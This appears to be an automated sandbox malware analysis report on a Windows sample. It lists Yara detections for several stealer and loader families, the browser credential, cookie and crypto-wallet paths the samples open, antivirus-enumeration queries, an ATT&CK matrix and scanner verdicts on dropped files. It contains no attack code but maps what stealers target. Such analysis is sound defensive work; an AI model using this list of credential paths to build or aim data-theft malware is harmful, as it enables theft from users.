Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\5316.exe

Code function: 6_2_00408320 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_00408320

Source: C:\Users\user\AppData\Local\Temp\5828.exe

Code function: 8_2_00731390 GetUserNameW,GetComputerNameW,

8_2_00731390

Source: C:\Users\user\AppData\Local\Temp\5828.exe

Code function: 8_2_00791F5A _free,GetTimeZoneInformation,

8_2_00791F5A

Source: C:\Users\user\AppData\Local\Temp\5316.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 7B24.exe, 0000000D.00000002.2408476602.000000000705A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Roaming\uiedafw	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Glupteba

Source: Yara match	File source: 18.3.A0FE.exe.51f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A0FE.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.A0FE.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.A0FE.exe.50e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.A0FE.exe.4900e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A0FE.exe.47f0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000003.2334018641.0000000005522000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2188506230.0000000005632000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2379204850.0000000004C33000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2374217277.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2332380214.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2341972204.0000000004D43000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: 8.2.5828.exe.730000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.5828.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5828.exe PID: 2840, type: MEMORYSTR

Yara detected Petite Virus

Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 13.2.7B24.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2378126043.0000000000EB2000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2386114986.0000000003F64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 16.3.8900.exe.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3yPvcmrbqS.exe.2520e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.uiedafw.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.8900.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.uiedafw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3yPvcmrbqS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.uiedafw.2530e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.3yPvcmrbqS.exe.2530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.8900.exe.2530e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.2153285956.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1898272817.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1643511590.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Socks5Systemz

Source: Yara match	File source: 00000028.00000002.4123905008.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.4123472721.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: 5316.exe, 00000007.00000003.2057573874.0000000003561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: r electroncash BcYhtE72gziJrnt+KgtHZWnEfjc 2038-01-01 00:00:00 193.135.10.219 59999 0
Source: 5316.exe, 00000007.00000003.2285590778.0000000003428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: id ed25519 HLnqESjAXx24c9ci/B9cS09RgNhmWFGX7xDt389vXdc
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: 7B24.exe, 0000000D.00000002.2386114986.0000000003F68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Remote Access Functionality

Yara detected Glupteba

Source: Yara match	File source: 18.3.A0FE.exe.51f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A0FE.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.A0FE.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.A0FE.exe.50e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.A0FE.exe.4900e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.A0FE.exe.47f0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000003.2334018641.0000000005522000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2188506230.0000000005632000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2379204850.0000000004C33000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2374217277.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2332380214.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2341972204.0000000004D43000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: 8.2.5828.exe.730000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.5828.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5828.exe PID: 2840, type: MEMORYSTR

Yara detected Petite Virus

Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 13.2.7B24.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2378126043.0000000000EB2000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2386114986.0000000003F64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 16.3.8900.exe.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3yPvcmrbqS.exe.2520e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.uiedafw.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.8900.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.uiedafw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3yPvcmrbqS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.uiedafw.2530e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.3yPvcmrbqS.exe.2530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.8900.exe.2530e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.2153285956.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708217847.0000000002571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1898272817.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2213071165.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1708132501.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1950432948.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1950608499.0000000004001000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1643511590.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2213159990.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Socks5Systemz

Source: Yara match	File source: 00000028.00000002.4123905008.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.4123472721.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	1 Exploitation of Remote Services	11 Archive Collected Data	1 Exfiltration Over Alternative Protocol	14 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	13 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Brute Force	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	712 Process Injection	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	4 Obfuscated Files or Information	NTDS	246 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	1 Multi-hop Proxy			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	23 Software Packing	LSA Secrets	1 Query Registry	SSH	Keylogging	Scheduled Transfer	5 Non-Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	1081 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	246 Application Layer Protocol			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	561 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	2 Proxy			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Masquerading	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	561 Virtualization/Sandbox Evasion	Network Sniffing	3 System Owner/User Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	712 Process Injection	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances
Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	Exfiltration Over Physical Medium	DNS			Resource Hijacking	DNS Server	Gather Victim Org Information
Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Regsvr32	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Exfiltration over USB	Proxy			Network Denial of Service	Virtual Private Server	Determine Physical Locations

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
3yPvcmrbqS.exe	41%	ReversingLabs
3yPvcmrbqS.exe	42%	Virustotal	Browse
3yPvcmrbqS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	33%	ReversingLabs	Win32.Trojan.Generic
C:\Program Files (x86)\VBPlayerLIB\bin\x86\7z.exe (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\OptimFROG.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_aac.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_fx.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_ofr.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_tta.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassalac.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassape.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\basscd.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassdsd.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassflac.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmidi.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmix.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassopus.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswma.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswv.dll (copy)	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\d_writer.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\da.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\daiso.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2pcmt.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\dstt.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\ff_helper.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\gain_analysis.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-02PO8.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-0GFJH.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-373UE.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-3M1CR.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-5TN1E.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-647AI.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-6NUFP.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-913NL.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-BML8E.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CEVH5.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CMU2D.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CR8EU.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CSBEI.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D13DL.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D8Q6V.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DEO22.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DJ7DE.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-E62DC.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-ED7G5.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-EPDGC.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-F0J9D.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-G9603.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-H05O1.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-J82TT.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JG7OO.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JORN1.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KNVFD.tmp	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-KUQQ9.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L236T.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L89CU.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M56K9.tmp	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M81L8.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-OBVGG.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P3O93.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-PP906.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-QIL6S.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp	3%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SL4B2.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-T0T9V.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-UBGUV.tmp	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\lame_enc.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\libFLAC_dynamic.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\libdtsdec.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\libmp4v2.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsox-3.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsoxr.dll (copy)	0%	ReversingLabs
C:\Program Files (x86)\VBPlayerLIB\bin\x86\libvorbis.dll (copy)	0%	ReversingLabs
